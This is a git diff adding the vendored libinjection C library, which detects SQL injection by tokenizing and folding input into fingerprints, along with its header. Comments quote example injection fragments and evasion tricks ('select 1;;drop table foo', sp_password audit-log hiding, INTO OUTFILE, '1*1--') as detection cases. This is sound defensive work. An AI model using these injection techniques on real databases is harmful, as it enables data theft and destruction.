TYPE_STRING) { + pos -= 1; + sf->stats_folds += 1; + continue; + } else if (sf->tokenvec[left].type == TYPE_SEMICOLON && + sf->tokenvec[left + 1].type == TYPE_SEMICOLON) { + /* not sure how various engines handle + * 'select 1;;drop table foo' or + * 'select 1; /x foo x/; drop table foo' + * to prevent surprises, just fold away repeated semicolons + */ + pos -= 1; + sf->stats_folds += 1; + continue; + } else if ((sf->tokenvec[left].type == TYPE_OPERATOR || + sf->tokenvec[left].type == TYPE_LOGIC_OPERATOR) && + (st_is_unary_op(&sf->tokenvec[left + 1]) || + sf->tokenvec[left + 1].type == TYPE_SQLTYPE)) { + pos -= 1; + sf->stats_folds += 1; + left = 0; + continue; + } else if (sf->tokenvec[left].type == TYPE_LEFTPARENS && + st_is_unary_op(&sf->tokenvec[left + 1])) { + pos -= 1; + sf->stats_folds += 1; + if (left > 0) { + left -= 1; + } + continue; + } else if (syntax_merge_words(sf, &sf->tokenvec[left], + &sf->tokenvec[left + 1])) { + pos -= 1; + sf->stats_folds += 1; + if (left > 0) { + left -= 1; + } + continue; + } else if (sf->tokenvec[left].type == TYPE_SEMICOLON && + sf->tokenvec[left + 1].type == TYPE_FUNCTION && + (sf->tokenvec[left + 1].val[0] == 'I' || + sf->tokenvec[left + 1].val[0] == 'i') && + (sf->tokenvec[left + 1].val[1] == 'F' || + sf->tokenvec[left + 1].val[1] == 'f')) { + /* IF is normally a function, except in Transact-SQL where it can be + * used as a standalone control flow operator, e.g. ; IF 1=1 ... if + * found after a semicolon, convert from 'f' type to 'T' type + */ + sf->tokenvec[left + 1].type = TYPE_TSQL; + /* left += 2; */ + continue; /* reparse everything, but we probably can advance left, + * and pos + */ + } else if ((sf->tokenvec[left].type == TYPE_BAREWORD || + sf->tokenvec[left].type == TYPE_VARIABLE) && + sf->tokenvec[left + 1].type == TYPE_LEFTPARENS && + ( + /* TSQL functions but common enough to be column names */ + cstrcasecmp("USER_ID", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("USER_NAME", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + + /* Function in MYSQL */ + cstrcasecmp("DATABASE", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("PASSWORD", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("USER", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + + /* Mysql words that act as a variable and are a function + */ + + /* TSQL current_users is fake-variable */ + /* http://msdn.microsoft.com/en-us/library/ms176050.aspx + */ + cstrcasecmp("CURRENT_USER", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("CURRENT_DATE", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("CURRENT_TIME", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("CURRENT_TIMESTAMP", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("LOCALTIME", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("LOCALTIMESTAMP", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0)) { + + /* pos is the same + * other conversions need to go here... for instance + * password CAN be a function, coalesce CAN be a function + */ + sf->tokenvec[left].type = TYPE_FUNCTION; + continue; + } else if (sf->tokenvec[left].type == TYPE_KEYWORD && + (cstrcasecmp("IN", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("NOT IN", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0)) { + + if (sf->tokenvec[left + 1].type == TYPE_LEFTPARENS) { + /* got .... IN ( ... (or 'NOT IN') + * it's an operator + */ + sf->tokenvec[left].type = TYPE_OPERATOR; + } else { + /* + * it's a nothing + */ + sf->tokenvec[left].type = TYPE_BAREWORD; + } + + /* "IN" can be used as "IN BOOLEAN MODE" for mysql + * in which case merging of words can be done later + * other wise it acts as an equality operator __ IN (values..) + * + * here we got "IN" "(" so it's an operator. + * also back track to handle "NOT IN" + * might need to do the same with like + * two use cases "foo" LIKE "BAR" (normal operator) + * "foo" = LIKE(1,2) + */ + continue; + } else if ((sf->tokenvec[left].type == TYPE_OPERATOR) && + (cstrcasecmp("LIKE", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0 || + cstrcasecmp("NOT LIKE", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0)) { + if (sf->tokenvec[left + 1].type == TYPE_LEFTPARENS) { + /* SELECT LIKE(... + * it's a function + */ + sf->tokenvec[left].type = TYPE_FUNCTION; + } + } else if (sf->tokenvec[left].type == TYPE_SQLTYPE && + (sf->tokenvec[left + 1].type == TYPE_BAREWORD || + sf->tokenvec[left + 1].type == TYPE_NUMBER || + sf->tokenvec[left + 1].type == TYPE_SQLTYPE || + sf->tokenvec[left + 1].type == TYPE_LEFTPARENS || + sf->tokenvec[left + 1].type == TYPE_FUNCTION || + sf->tokenvec[left + 1].type == TYPE_VARIABLE || + sf->tokenvec[left + 1].type == TYPE_STRING)) { + st_copy(&sf->tokenvec[left], &sf->tokenvec[left + 1]); + pos -= 1; + sf->stats_folds += 1; + left = 0; + continue; + } else if (sf->tokenvec[left].type == TYPE_COLLATE && + sf->tokenvec[left + 1].type == TYPE_BAREWORD) { + /* + * there are too many collation types.. so if the bareword has a "_" + * then it's TYPE_SQLTYPE + */ + if (strchr(sf->tokenvec[left + 1].val, '_') != NULL) { + sf->tokenvec[left + 1].type = TYPE_SQLTYPE; + left = 0; + } + } else if (sf->tokenvec[left].type == TYPE_BACKSLASH) { + if (st_is_arithmetic_op(&(sf->tokenvec[left + 1]))) { + /* very weird case in TSQL where '\%1' is parsed as '0 % 1', etc + */ + sf->tokenvec[left].type = TYPE_NUMBER; + } else { + /* just ignore it.. Again T-SQL seems to parse \1 as "1" */ + st_copy(&sf->tokenvec[left], &sf->tokenvec[left + 1]); + pos -= 1; + sf->stats_folds += 1; + } + left = 0; + continue; + } else if (sf->tokenvec[left].type == TYPE_LEFTPARENS && + sf->tokenvec[left + 1].type == TYPE_LEFTPARENS) { + pos -= 1; + left = 0; + sf->stats_folds += 1; + continue; + } else if (sf->tokenvec[left].type == TYPE_RIGHTPARENS && + sf->tokenvec[left + 1].type == TYPE_RIGHTPARENS) { + pos -= 1; + left = 0; + sf->stats_folds += 1; + continue; + } else if (sf->tokenvec[left].type == TYPE_LEFTBRACE && + sf->tokenvec[left + 1].type == TYPE_BAREWORD) { + + /* + * MySQL Degenerate case -- + * + * select { ``.``.id }; -- valid !!! + * select { ``.``.``.id }; -- invalid + * select ``.``.id; -- invalid + * select { ``.id }; -- invalid + * + * so it appears {``.``.id} is a magic case + * I suspect this is "current database, current table, field id" + * + * The folding code can't look at more than 3 tokens, and + * I don't want to make two passes. + * + * Since "{ ``" so rare, we are just going to blacklist it. + * + * Highly likely this will need revisiting! + * + * CREDIT @rsalgado 2013-11-25 + */ + if (sf->tokenvec[left + 1].len == 0) { + sf->tokenvec[left + 1].type = TYPE_EVIL; + return (int)(left + 2); + } + /* weird ODBC / MYSQL {foo expr} --> expr + * but for this rule we just strip away the "{ foo" part + */ + left = 0; + pos -= 2; + sf->stats_folds += 2; + continue; + } else if (sf->tokenvec[left + 1].type == TYPE_RIGHTBRACE) { + pos -= 1; + left = 0; + sf->stats_folds += 1; + continue; + } + + /* all cases of handing 2 tokens is done + and nothing matched. Get one more token + */ + FOLD_DEBUG; + while (more && pos <= LIBINJECTION_SQLI_MAX_TOKENS && pos - left < 3) { + sf->current = &(sf->tokenvec[pos]); + more = libinjection_sqli_tokenize(sf); + if (more) { + if (sf->current->type == TYPE_COMMENT) { + st_copy(&last_comment, sf->current); + } else { + last_comment.type = CHAR_NULL; + pos += 1; + } + } + } + + /* do we have three tokens? If not then we are done */ + if (pos - left < 3) { + left = pos; + continue; + } + + /* + * now look for three token folding + */ + if (sf->tokenvec[left].type == TYPE_NUMBER && + sf->tokenvec[left + 1].type == TYPE_OPERATOR && + sf->tokenvec[left + 2].type == TYPE_NUMBER) { + pos -= 2; + left = 0; + continue; + } else if (sf->tokenvec[left].type == TYPE_OPERATOR && + sf->tokenvec[left + 1].type != TYPE_LEFTPARENS && + sf->tokenvec[left + 2].type == TYPE_OPERATOR) { + left = 0; + pos -= 2; + continue; + } else if (sf->tokenvec[left].type == TYPE_LOGIC_OPERATOR && + sf->tokenvec[left + 2].type == TYPE_LOGIC_OPERATOR) { + pos -= 2; + left = 0; + continue; + } else if (sf->tokenvec[left].type == TYPE_VARIABLE && + sf->tokenvec[left + 1].type == TYPE_OPERATOR && + (sf->tokenvec[left + 2].type == TYPE_VARIABLE || + sf->tokenvec[left + 2].type == TYPE_NUMBER || + sf->tokenvec[left + 2].type == TYPE_BAREWORD)) { + pos -= 2; + left = 0; + continue; + } else if ((sf->tokenvec[left].type == TYPE_BAREWORD || + sf->tokenvec[left].type == TYPE_NUMBER) && + sf->tokenvec[left + 1].type == TYPE_OPERATOR && + (sf->tokenvec[left + 2].type == TYPE_NUMBER || + sf->tokenvec[left + 2].type == TYPE_BAREWORD)) { + pos -= 2; + left = 0; + continue; + } else if ((sf->tokenvec[left].type == TYPE_BAREWORD || + sf->tokenvec[left].type == TYPE_NUMBER || + sf->tokenvec[left].type == TYPE_VARIABLE || + sf->tokenvec[left].type == TYPE_STRING) && + sf->tokenvec[left + 1].type == TYPE_OPERATOR && + streq(sf->tokenvec[left + 1].val, "::") && + sf->tokenvec[left + 2].type == TYPE_SQLTYPE) { + pos -= 2; + left = 0; + sf->stats_folds += 2; + continue; + } else if ((sf->tokenvec[left].type == TYPE_BAREWORD || + sf->tokenvec[left].type == TYPE_NUMBER || + sf->tokenvec[left].type == TYPE_STRING || + sf->tokenvec[left].type == TYPE_VARIABLE) && + sf->tokenvec[left + 1].type == TYPE_COMMA && + (sf->tokenvec[left + 2].type == TYPE_NUMBER || + sf->tokenvec[left + 2].type == TYPE_BAREWORD || + sf->tokenvec[left + 2].type == TYPE_STRING || + sf->tokenvec[left + 2].type == TYPE_VARIABLE)) { + pos -= 2; + left = 0; + continue; + } else if ((sf->tokenvec[left].type == TYPE_EXPRESSION || + sf->tokenvec[left].type == TYPE_GROUP || + sf->tokenvec[left].type == TYPE_COMMA) && + st_is_unary_op(&sf->tokenvec[left + 1]) && + sf->tokenvec[left + 2].type == TYPE_LEFTPARENS) { + /* got something like SELECT + (, LIMIT + ( + * remove unary operator + */ + st_copy(&sf->tokenvec[left + 1], &sf->tokenvec[left + 2]); + pos -= 1; + left = 0; + continue; + } else if ((sf->tokenvec[left].type == TYPE_KEYWORD || + sf->tokenvec[left].type == TYPE_EXPRESSION || + sf->tokenvec[left].type == TYPE_GROUP) && + st_is_unary_op(&sf->tokenvec[left + 1]) && + (sf->tokenvec[left + 2].type == TYPE_NUMBER || + sf->tokenvec[left + 2].type == TYPE_BAREWORD || + sf->tokenvec[left + 2].type == TYPE_VARIABLE || + sf->tokenvec[left + 2].type == TYPE_STRING || + sf->tokenvec[left + 2].type == TYPE_FUNCTION)) { + /* remove unary operators + * select - 1 + */ + st_copy(&sf->tokenvec[left + 1], &sf->tokenvec[left + 2]); + pos -= 1; + left = 0; + continue; + } else if (sf->tokenvec[left].type == TYPE_COMMA && + st_is_unary_op(&sf->tokenvec[left + 1]) && + (sf->tokenvec[left + 2].type == TYPE_NUMBER || + sf->tokenvec[left + 2].type == TYPE_BAREWORD || + sf->tokenvec[left + 2].type == TYPE_VARIABLE || + sf->tokenvec[left + 2].type == TYPE_STRING)) { + /* + * interesting case turn ", -1" ->> ",1" PLUS we need to back up + * one token if possible to see if more folding can be done + * "1,-1" --> "1" + */ + st_copy(&sf->tokenvec[left + 1], &sf->tokenvec[left + 2]); + left = 0; + /* pos is >= 3 so this is safe */ + assert(pos >= 3); + pos -= 3; + continue; + } else if (sf->tokenvec[left].type == TYPE_COMMA && + st_is_unary_op(&sf->tokenvec[left + 1]) && + sf->tokenvec[left + 2].type == TYPE_FUNCTION) { + + /* Separate case from above since you end up with + * 1,-sin(1) --> 1 (1) + * Here, just do + * 1,-sin(1) --> 1,sin(1) + * just remove unary operator + */ + st_copy(&sf->tokenvec[left + 1], &sf->tokenvec[left + 2]); + pos -= 1; + left = 0; + continue; + } else if ((sf->tokenvec[left].type == TYPE_BAREWORD) && + (sf->tokenvec[left + 1].type == TYPE_DOT) && + (sf->tokenvec[left + 2].type == TYPE_BAREWORD)) { + /* ignore the '.n' + * typically is this databasename.table + */ + assert(pos >= 3); + pos -= 2; + left = 0; + continue; + } else if ((sf->tokenvec[left].type == TYPE_EXPRESSION) && + (sf->tokenvec[left + 1].type == TYPE_DOT) && + (sf->tokenvec[left + 2].type == TYPE_BAREWORD)) { + /* select . `foo` --> select `foo` */ + st_copy(&sf->tokenvec[left + 1], &sf->tokenvec[left + 2]); + pos -= 1; + left = 0; + continue; + } else if ((sf->tokenvec[left].type == TYPE_FUNCTION) && + (sf->tokenvec[left + 1].type == TYPE_LEFTPARENS) && + (sf->tokenvec[left + 2].type != TYPE_RIGHTPARENS)) { + /* + * whats going on here + * Some SQL functions like USER() have 0 args + * if we get User(foo), then User is not a function + * This should be expanded since it eliminated a lot of false + * positives. + */ + if (cstrcasecmp("USER", sf->tokenvec[left].val, + sf->tokenvec[left].len) == 0) { + sf->tokenvec[left].type = TYPE_BAREWORD; + } + } + + /* no folding -- assume left-most token is + is good, now use the existing 2 tokens -- + do not get another + */ + + left += 1; + + } /* while(1) */ + + /* if we have 4 or less tokens, and we had a comment token + * at the end, add it back + */ + + if (left < LIBINJECTION_SQLI_MAX_TOKENS && + last_comment.type == TYPE_COMMENT) { + st_copy(&sf->tokenvec[left], &last_comment); + left += 1; + } + + /* sometimes we grab a 6th token to help + determine the type of token 5. + */ + if (left > LIBINJECTION_SQLI_MAX_TOKENS) { + left = LIBINJECTION_SQLI_MAX_TOKENS; + } + + return (int)left; +} + +/* secondary api: detects SQLi in a string, GIVEN a context. + * + * A context can be: + * * CHAR_NULL (\0), process as is + * * CHAR_SINGLE ('), process pretending input started with a + * single quote. + * * CHAR_DOUBLE ("), process pretending input started with a + * double quote. + * + */ +const char * +libinjection_sqli_fingerprint(struct libinjection_sqli_state *sql_state, + int flags) { + int i; + int tlen = 0; + + libinjection_sqli_reset(sql_state, flags); + + tlen = libinjection_sqli_fold(sql_state); + + /* Check for magic PHP backquote comment + * If: + * * last token is of type "bareword" + * * And is quoted in a backtick + * * And isn't closed + * * And it's empty? + * Then convert it to comment + */ + if (tlen > 2 && sql_state->tokenvec[tlen - 1].type == TYPE_BAREWORD && + sql_state->tokenvec[tlen - 1].str_open == CHAR_TICK && + sql_state->tokenvec[tlen - 1].len == 0 && + sql_state->tokenvec[tlen - 1].str_close == CHAR_NULL) { + sql_state->tokenvec[tlen - 1].type = TYPE_COMMENT; + } + + for (i = 0; i < tlen; ++i) { + sql_state->fingerprint[i] = sql_state->tokenvec[i].type; + } + + /* + * make the fingerprint pattern a c-string (null delimited) + */ + sql_state->fingerprint[tlen] = CHAR_NULL; + + /* + * check for 'X' in pattern, and then + * clear out all tokens + * + * this means parsing could not be done + * accurately due to pgsql's double comments + * or other syntax that isn't consistent. + * Should be very rare false positive + */ + if (strchr(sql_state->fingerprint, TYPE_EVIL)) { + /* needed for SWIG */ + memset((void *)sql_state->fingerprint, 0, + LIBINJECTION_SQLI_MAX_TOKENS + 1); + memset((void *)sql_state->tokenvec[0].val, 0, + LIBINJECTION_SQLI_TOKEN_SIZE); + + sql_state->fingerprint[0] = TYPE_EVIL; + + sql_state->tokenvec[0].type = TYPE_EVIL; + sql_state->tokenvec[0].val[0] = TYPE_EVIL; + sql_state->tokenvec[1].type = CHAR_NULL; + } + + return sql_state->fingerprint; +} + +int libinjection_sqli_check_fingerprint( + struct libinjection_sqli_state *sql_state) { + return libinjection_sqli_blacklist(sql_state) && + libinjection_sqli_not_whitelist(sql_state); +} + +static char +libinjection_sqli_lookup_word(struct libinjection_sqli_state *sql_state, + int lookup_type, const char *str, size_t len) { + if (lookup_type == LOOKUP_FINGERPRINT) { + return libinjection_sqli_check_fingerprint(sql_state) ? 'X' : '\0'; + } else { + return bsearch_keyword_type(str, len, sql_keywords, sql_keywords_sz); + } +} + +static int +libinjection_sqli_blacklist(struct libinjection_sqli_state *sql_state) { + /* + * use minimum of 8 bytes to make sure gcc -fstack-protector + * works correctly + */ + char fp2[8]; + char ch; + size_t i; + size_t len = strlen(sql_state->fingerprint); + int patmatch; + + if (len < 1) { + sql_state->reason = __LINE__; + return FALSE; + } + + /* + to keep everything compatible, convert the + v0 fingerprint pattern to v1 + v0: up to 5 chars, mixed case + v1: 1 char is '0', up to 5 more chars, upper case + */ + + fp2[0] = '0'; + for (i = 0; i < len; ++i) { + ch = sql_state->fingerprint[i]; + if (ch >= 'a' && ch <= 'z') { + ch -= 0x20; + } + fp2[i + 1] = ch; + } + fp2[i + 1] = '\0'; + + patmatch = is_keyword(fp2, len + 1) == TYPE_FINGERPRINT; + + /* + * No match. + * + * Set sql_state->reason to current line number + * only for debugging purposes. + */ + if (!patmatch) { + sql_state->reason = __LINE__; + return FALSE; + } + + return TRUE; +} + +/* + * return TRUE if SQLi, false is benign + */ +static int +libinjection_sqli_not_whitelist(struct libinjection_sqli_state *sql_state) { + /* + * We assume we got a SQLi match + * This next part just helps reduce false positives. + * + */ + char ch; + size_t tlen = strlen(sql_state->fingerprint); + + if (tlen > 1 && sql_state->fingerprint[tlen - 1] == TYPE_COMMENT) { + /* + * if ending comment is contains 'sp_password' then it's SQLi! + * MS Audit log apparently ignores anything with + * 'sp_password' in it. Unable to find primary reference to + * this "feature" of SQL Server but seems to be known SQLi + * technique + */ + if (my_memmem(sql_state->s, sql_state->slen, "sp_password", + strlen("sp_password"))) { + sql_state->reason = __LINE__; + return TRUE; + } + } + + switch (tlen) { + case 2: { + /* + * case 2 are "very small SQLi" which make them + * hard to tell from normal input... + */ + + if (sql_state->fingerprint[1] == TYPE_UNION) { + if (sql_state->stats_tokens == 2) { + /* not sure why but 1U comes up in SQLi attack + * likely part of parameter splitting/etc. + * lots of reasons why "1 union" might be normal + * input, so beep only if other SQLi things are present + */ + /* it really is a number and 'union' + * other wise it has folding or comments + */ + sql_state->reason = __LINE__; + return FALSE; + } else { + sql_state->reason = __LINE__; + return TRUE; + } + } + /* + * if 'comment' is '#' ignore.. too many FP + */ + if (sql_state->tokenvec[1].val[0] == '#') { + sql_state->reason = __LINE__; + return FALSE; + } + + /* + * for fingerprint like 'nc', only comments of /x are treated + * as SQL... ending comments of "--" and "#" are not SQLi + */ + if (sql_state->tokenvec[0].type == TYPE_BAREWORD && + sql_state->tokenvec[1].type == TYPE_COMMENT && + sql_state->tokenvec[1].val[0] != '/') { + sql_state->reason = __LINE__; + return FALSE; + } + + /* + * if '1c' ends with '/x' then it's SQLi + */ + if (sql_state->tokenvec[0].type == TYPE_NUMBER && + sql_state->tokenvec[1].type == TYPE_COMMENT && + sql_state->tokenvec[1].val[0] == '/') { + return TRUE; + } + + /** + * there are some odd base64-looking query string values + * 1234-ABCDEFEhfhihwuefi-- + * which evaluate to "1c"... these are not SQLi + * but 1234-- probably is. + * Make sure the "1" in "1c" is actually a true decimal number + * + * Need to check -original- string since the folding step + * may have merged tokens, e.g. "1+FOO" is folded into "1" + * + * Note: evasion: 1*1-- + */ + if (sql_state->tokenvec[0].type == TYPE_NUMBER && + sql_state->tokenvec[1].type == TYPE_COMMENT) { + if (sql_state->stats_tokens > 2) { + /* we have some folding going on, highly likely SQLi */ + sql_state->reason = __LINE__; + return TRUE; + } + /* + * we check that next character after the number is either + * whitespace, or '/' or a '-' ==> SQLi. + */ + ch = sql_state->s[sql_state->tokenvec[0].len]; + if (ch <= 32) { + /* next char was whitespace,e.g. "1234 --" + * this isn't exactly correct.. ideally we should skip over all + * whitespace but this seems to be ok for now + */ + return TRUE; + } + if (ch == '/' && + sql_state->s[sql_state->tokenvec[0].len + 1] == '*') { + return TRUE; + } + if (ch == '-' && + sql_state->s[sql_state->tokenvec[0].len + 1] == '-') { + return TRUE; + } + + sql_state->reason = __LINE__; + return FALSE; + } + + /* + * detect obvious SQLi scans.. many people put '--' in plain text + * so only detect if input ends with '--', e.g. 1-- but not 1-- foo + */ + if ((sql_state->tokenvec[1].len > 2) && + sql_state->tokenvec[1].val[0] == '-') { + sql_state->reason = __LINE__; + return FALSE; + } + + break; + } /* case 2 */ + case 3: { + /* + * ...foo' + 'bar... + * no opening quote, no closing quote + * and each string has data + */ + + if (streq(sql_state->fingerprint, "sos") || + streq(sql_state->fingerprint, "s&s")) { + + if ((sql_state->tokenvec[0].str_open == CHAR_NULL) && + (sql_state->tokenvec[2].str_close == CHAR_NULL) && + (sql_state->tokenvec[0].str_close == + sql_state->tokenvec[2].str_open)) { + /* + * if ....foo" + "bar.... + */ + sql_state->reason = __LINE__; + return TRUE; + } + if (sql_state->stats_tokens == 3) { + sql_state->reason = __LINE__; + return FALSE; + } + + /* + * not SQLi + */ + sql_state->reason = __LINE__; + return FALSE; + } else if (streq(sql_state->fingerprint, "s&n") || + streq(sql_state->fingerprint, "n&1") || + streq(sql_state->fingerprint, "1&1") || + streq(sql_state->fingerprint, "1&v") || + streq(sql_state->fingerprint, "1&s")) { + /* 'sexy and 17' not SQLi + * 'sexy and 17<18' SQLi + */ + if (sql_state->stats_tokens == 3) { + sql_state->reason = __LINE__; + return FALSE; + } + } else if (sql_state->tokenvec[1].type == TYPE_KEYWORD) { + if ((sql_state->tokenvec[1].len < 5) || + cstrcasecmp("INTO", sql_state->tokenvec[1].val, 4)) { + /* if it's not "INTO OUTFILE", or "INTO DUMPFILE" (MySQL) + * then treat as safe + */ + sql_state->reason = __LINE__; + return FALSE; + } + } + break; + } /* case 3 */ + case 4: + case 5: { + /* nothing right now */ + break; + } /* case 5 */ + } /* end switch */ + + return TRUE; +} + +/** Main API, detects SQLi in an input. + * + * + */ +static int +reparse_as_mysql(struct libinjection_sqli_state + *sql_state) { // cppcheck-suppress constParameterPointer + return sql_state->stats_comment_ddx || sql_state->stats_comment_hash; +} + +/* + * This function is mostly use with SWIG + */ +struct libinjection_sqli_token * +libinjection_sqli_get_token(struct libinjection_sqli_state *sql_state, int i) { + if (i < 0 || i > (int)LIBINJECTION_SQLI_MAX_TOKENS) { + return NULL; + } + return &(sql_state->tokenvec[i]); +} + +int libinjection_is_sqli(struct libinjection_sqli_state *sql_state) { + const char *s = sql_state->s; + size_t slen = sql_state->slen; + + /* + * no input? not SQLi + */ + if (slen == 0) { + return FALSE; + } + + /* + * test input "as-is" + */ + libinjection_sqli_fingerprint(sql_state, FLAG_QUOTE_NONE | FLAG_SQL_ANSI); + if (sql_state->lookup(sql_state, LOOKUP_FINGERPRINT, sql_state->fingerprint, + strlen(sql_state->fingerprint))) { + return TRUE; + } else if (reparse_as_mysql(sql_state)) { + libinjection_sqli_fingerprint(sql_state, + FLAG_QUOTE_NONE | FLAG_SQL_MYSQL); + if (sql_state->lookup(sql_state, LOOKUP_FINGERPRINT, + sql_state->fingerprint, + strlen(sql_state->fingerprint))) { + return TRUE; + } + } + + /* + * if input has a single_quote, then + * test as if input was actually ' + * example: if input if "1' = 1", then pretend it's + * "'1' = 1" + * Porting Notes: example the same as doing + * is_string_sqli(sql_state, "'" + s, slen+1, NULL, fn, arg) + * + */ + if (memchr(s, CHAR_SINGLE, slen)) { + libinjection_sqli_fingerprint(sql_state, + FLAG_QUOTE_SINGLE | FLAG_SQL_ANSI); + if (sql_state->lookup(sql_state, LOOKUP_FINGERPRINT, + sql_state->fingerprint, + strlen(sql_state->fingerprint))) { + return TRUE; + } else if (reparse_as_mysql(sql_state)) { + libinjection_sqli_fingerprint(sql_state, + FLAG_QUOTE_SINGLE | FLAG_SQL_MYSQL); + if (sql_state->lookup(sql_state, LOOKUP_FINGERPRINT, + sql_state->fingerprint, + strlen(sql_state->fingerprint))) { + return TRUE; + } + } + } + + /* + * same as above but with a double-quote " + */ + if (memchr(s, CHAR_DOUBLE, slen)) { + libinjection_sqli_fingerprint(sql_state, + FLAG_QUOTE_DOUBLE | FLAG_SQL_MYSQL); + if (sql_state->lookup(sql_state, LOOKUP_FINGERPRINT, + sql_state->fingerprint, + strlen(sql_state->fingerprint))) { + return TRUE; + } + } + + /* + * Hurray, input is not SQLi + */ + return FALSE; +} + +injection_result_t libinjection_sqli(const char *s, size_t slen, + char fingerprint[]) { + int issqli; + struct libinjection_sqli_state state; + + libinjection_sqli_init(&state, s, slen, 0); + issqli = libinjection_is_sqli(&state); + if (issqli) { + strcpy(fingerprint, state.fingerprint); + } else { + fingerprint[0] = '\0'; + } + return issqli; +} diff --git a/apps/cli/vendor/libinjection/src/libinjection_sqli.h b/apps/cli/vendor/libinjection/src/libinjection_sqli.h new file mode 100644 index 00000000..ef698bb8 --- /dev/null +++ b/apps/cli/vendor/libinjection/src/libinjection_sqli.h @@ -0,0 +1,297 @@ +/** + * Copyright 2012-2016 Nick Galbreath + * nickg@client9.com + * BSD License -- see `COPYING.txt` for details + * + * https://libinjection.client9.com/ + * + */ + +#ifndef LIBINJECTION_SQLI_H +#define LIBINJECTION_SQLI_H + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Pull in size_t + */ +#include + +#include "libinjection_error.h" + +enum sqli_flags { + FLAG_NONE = 0, + FLAG_QUOTE_NONE = 1, /* 1 << 0 */ + FLAG_QUOTE_SINGLE = 2, /* 1 << 1 */ + FLAG_QUOTE_DOUBLE = 4, /* 1 << 2 */ + FLAG_SQL_ANSI = 8, /* 1 << 3 */ + FLAG_SQL_MYSQL = 16 /* 1 << 4 */ +}; + +enum lookup_type { + LOOKUP_WORD = 1, + LOOKUP_TYPE = 2, + LOOKUP_OPERATOR = 3, + LOOKUP_FINGERPRINT = 4 +}; + +struct libinjection_sqli_token { // cppcheck-suppress syntaxError +#ifdef SWIG +%immutable; +#endif + /* + * position and length of token + * in original string + */ + size_t pos; + size_t len; + + /* count: + * in type 'v', used for number of opening '@' + * but maybe used in other contexts + */ + int count; + + char type; + char str_open; + char str_close; + char val[32]; +}; + +typedef struct libinjection_sqli_token stoken_t; + +/** + * Pointer to function, takes c-string input, + * returns '\0' for no match, else a char + */ +struct libinjection_sqli_state; +typedef char (*ptr_lookup_fn)(struct libinjection_sqli_state *, int lookuptype, + const char *word, size_t len); + +struct libinjection_sqli_state { +#ifdef SWIG +%immutable; +#endif + + /* + * input, does not need to be null terminated. + * it is also not modified. + */ + const char *s; + + /* + * input length + */ + size_t slen; + + /* + * How to lookup a word or fingerprint + */ + ptr_lookup_fn lookup; + void *userdata; + + /* + * + */ + int flags; + + /* + * pos is the index in the string during tokenization + */ + size_t pos; + +#ifndef SWIG + /* for SWIG.. don't use this.. use functional API instead */ + + /* MAX TOKENS + 1 since we use one extra token + * to determine the type of the previous token + */ + struct libinjection_sqli_token tokenvec[8]; +#endif + + /* + * Pointer to token position in tokenvec, above + */ + struct libinjection_sqli_token *current; + + /* + * fingerprint pattern c-string + * +1 for ending null + * Minimum of 8 bytes to add gcc's -fstack-protector to work + */ + char fingerprint[8]; + + /* + * Line number of code that said decided if the input was SQLi or + * not. Most of the time it's line that said "it's not a matching + * fingerprint" but there is other logic that sometimes approves + * an input. This is only useful for debugging. + * + */ + int reason; + + /* Number of ddw (dash-dash-white) comments + * These comments are in the form of + * '--[whitespace]' or '--[EOF]' + * + * All databases treat this as a comment. + */ + int stats_comment_ddw; + + /* Number of ddx (dash-dash-[notwhite]) comments + * + * ANSI SQL treats these are comments, MySQL treats this as + * two unary operators '-' '-' + * + * If you are parsing result returns FALSE and + * stats_comment_dd > 0, you should reparse with + * COMMENT_MYSQL + * + */ + int stats_comment_ddx; + + /* + * c-style comments found /x .. x/ + */ + int stats_comment_c; + + /* '#' operators or MySQL EOL comments found + * + */ + int stats_comment_hash; + + /* + * number of tokens folded away + */ + int stats_folds; + + /* + * total tokens processed + */ + int stats_tokens; +}; + +typedef struct libinjection_sqli_state sfilter; + +struct libinjection_sqli_token * +libinjection_sqli_get_token(struct libinjection_sqli_state *sql_state, int i); + +/* + * Version info. + * + * This is moved into a function to allow SWIG and other auto-generated + * binding to not be modified during minor release changes. We change + * change the version number in the c source file, and not regenerated + * the binding + * + * See python's normalized version + * http://www.python.org/dev/peps/pep-0386/#normalizedversion + */ +const char *libinjection_version(void); + +/** + * + */ +void libinjection_sqli_init(struct libinjection_sqli_state *sf, const char *s, + size_t len, int flags); + +/** + * Main API: tests for SQLi in three possible contexts, no quotes, + * single quote and double quote + * + * \param sql_state core data structure + * + * \return injection_result_t + */ +injection_result_t +libinjection_is_sqli(struct libinjection_sqli_state *sql_state); + +/* FOR HACKERS ONLY + * provides deep hooks into the decision making process + */ +void libinjection_sqli_callback(struct libinjection_sqli_state *sf, + ptr_lookup_fn fn, void *userdata); + +/* + * Resets state, but keeps initial string and callbacks + */ +static void libinjection_sqli_reset(struct libinjection_sqli_state *sf, + int flags); + +/** + * + */ + +/** + * This detects SQLi in a single context, mostly useful for custom + * logic and debugging. + * + * \param sql_state Main data structure + * \param flags flags to adjust parsing + * + * \returns a pointer to sfilter.fingerprint as convenience + * do not free! + * + */ +const char * +libinjection_sqli_fingerprint(struct libinjection_sqli_state *sql_state, + int flags); + +/** + * The default "word" to token-type or fingerprint function. This + * uses a ASCII case-insensitive binary tree. + */ +static char +libinjection_sqli_lookup_word(struct libinjection_sqli_state *sql_state, + int lookup_type, const char *str, size_t len); + +/* Streaming tokenization interface. + * + * sql_state->current is updated with the current token. + * + * \returns 1, has a token, keep going, or 0 no tokens + * + */ +int libinjection_sqli_tokenize(struct libinjection_sqli_state *sf); + +/** + * parses and folds input, up to 5 tokens + * 